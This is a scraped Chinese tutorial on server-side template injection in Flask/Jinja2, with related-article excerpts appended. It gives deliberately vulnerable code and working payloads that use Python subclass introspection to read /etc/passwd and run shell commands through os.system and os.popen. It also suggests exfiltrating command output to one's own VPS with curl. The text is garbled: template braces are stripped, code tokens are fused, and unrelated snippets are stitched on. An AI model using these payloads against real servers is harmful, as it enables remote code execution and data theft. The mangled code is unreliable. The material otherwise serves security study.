模板注入 python

2022-03-08 13:37:06 字數 4394 閱讀 9009

在學習ssti之前,先把flask的運作流程搞明白。這樣有利用更快速的理解原理。

先看一段**

from flask importflask 

defhello_word():

return 'hello word'

route裝飾器的作用是將函式與url繫結起來。例子中的**的作用就是當你訪問的時候,flask會返回hello word。

flask的渲染方法有render_template和render_template_string兩種。

render_template()是用來渲染乙個指定的檔案的。使用如下

return render_template('index.html')
render_template_string則是用來渲染乙個字串的。ssti與這個方法密不可分。

使用方法如下

html = ''

return render_template_string(html)

flask是使用jinja2來作為渲染引擎的。看例子

在**的根目錄下新建templates資料夾,這裡是用來存放html檔案。也就是模板檔案。

test.py

from flask importflask,url_for,redirect,render_template,render_template_string

defuser_login():

return render_template('index.html')

/templates/index.html

訪問127.0.0.1:5000/index/的時候,flask就會渲染出index.html的頁面。

模板檔案並不是單純的html**,而是夾雜著模板的語法,因為頁面不可能都是乙個樣子的,有一些地方是會變化的。比如說顯示使用者名稱的地方,這個時候就需要使用模板支援的語法,來傳參。

例子

test.py

from flask importflask,url_for,redirect,render_template,render_template_string

defuser_login():

return render_template('index.html',content='this is index page.')

/templates/index.html

這個時候頁面仍然輸出this is index page

}在jinja2中作為變數包裹識別符號。

什麼是模板注入呢?

為了在寫html**方便時,很多**都會使用模板,先寫好乙個html模板檔案。

不正確的使用flask中的render_template_string方法會引發ssti。那麼是什麼不正確的**呢?

存在漏洞的**

deftest():

code = request.args.get('id')

html = ''''''%(code)

return render_template_string(html)

這段**存在漏洞的原因是資料和**的混淆。**中的code是使用者可控的,會和html拼接後直接帶入渲染。

嘗試構造code為一串js**。

將**改為如下

deftest():

code = request.args.get('id')

return render_template_string('',code=code)

繼續嘗試

可以看到,js**被原樣輸出了。這是因為模板引擎一般都預設對渲染的變數值進行編碼轉義,這樣就不會存在xss了。在這段**中使用者所控的是code變數,而不是模板內容。存在漏洞的**中,模板內容直接受使用者控制的。

模板注入並不侷限於xss,它還可以進行其他攻擊。

基礎知識

在jinja2模板引擎中,}是變數包裹識別符號。}並不僅僅可以傳遞變數,還可以執行一些簡單的表示式。

這裡還是用上文中存在漏洞的**

deftest():

code = request.args.get('id')

html = ''''''%(code)

return render_template_string(html)

構造引數},結果如下

可以看到表示式被執行了。

在flask中也有一些全域性變數。

檔案包含

看了師傅們的文章,是通過python的物件的繼承來一步步實現檔案讀取和命令執行的的。順著師傅們的思路,再理一遍。

找到父類-->尋找子類-->找關於命令執行或者檔案操作的模組。

幾個魔術方法

__class__  返回型別所屬的物件

__mro__ 返回乙個包含物件所繼承的基類元組,方法在解析時按照元組的順序解析。

__base__ 返回該物件所繼承的基類

// __base__和__mro__都是用來尋找基類的

__subclasses__ 每個新類都保留了子類的引用,這個方法返回乙個類中仍然可用的的引用的列表

__init__ 類的初始化方法

__globals__ 對包含函式全域性變數的字典的引用

1 、獲取字串的類物件

>>> ''.__class__

2 、尋找基類

>>> ''.__class__.__mro__(, , )
3 、尋找可用引用

>>> ''.__class__.__mro__[2].__subclasses__()

可以看到有乙個``
4 、利用之

''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
放到模板裡

可以看到讀取到了檔案。

命令執行

繼續看命令執行payload的構造,思路和構造檔案讀取的一樣。

尋找包含os模組的指令碼

#!/usr/bin/env python

# encoding: utf-8

for item in ''.__class__.__mro__[2].__subclasses__():

try:

if 'os' in item.__init__.__globals__:

printnum,item

num+=1

except:

print '-'num+=1

輸出

-

71 ---

-76

payload

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls')
構造paylaod的思路和構造檔案讀取的是一樣的。只不過命令執行的結果無法直接看到,需要利用curl將結果傳送到自己的vps或者利用ceye)

類似的payload同樣有:

''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read() 

''.__class__.__mro__[2].__subclasses__()[40]('etc/passwd').read()

貼乙個大佬寫的python模板注入

本文部分摘抄自

Python模板注入

近期遇到python模板注入問題,故在此整理,便於後期回顧。首先什麼是 python模板 呢?python有很多模板引擎可以幫助我們構建完善的web應用程式。這裡將要討論的就是jinja2 而 模板注入 就是在模板中注入特定的 這裡的模板可能是檔案,也可能是字串。在jinja2中,使用執行for迴圈...

模板注入SSTI

layout post title ssti模板注入 categories 網路安全cybersecurity tags ssti 兩個引數 1,html 模板 2,需要修改的引數 function display tplfile,tplvars null html compile tplfilep...

python注入攻擊 mySql 注入攻擊

注入攻擊 1.原理 a.只要是帶有引數的動態網頁且此網頁訪問了資料庫,那麼就有可能存在sql注入 b.字串拼接和沒有判斷使用者輸入是否合法 導致使用者可以玩填字遊戲 sql注入攻擊會導致的資料庫安全風險包括 刷庫 拖庫 撞庫。2.簡單解決方法 預防字串拼接 可以使用變數繫結避免注入攻擊.以查詢語句為...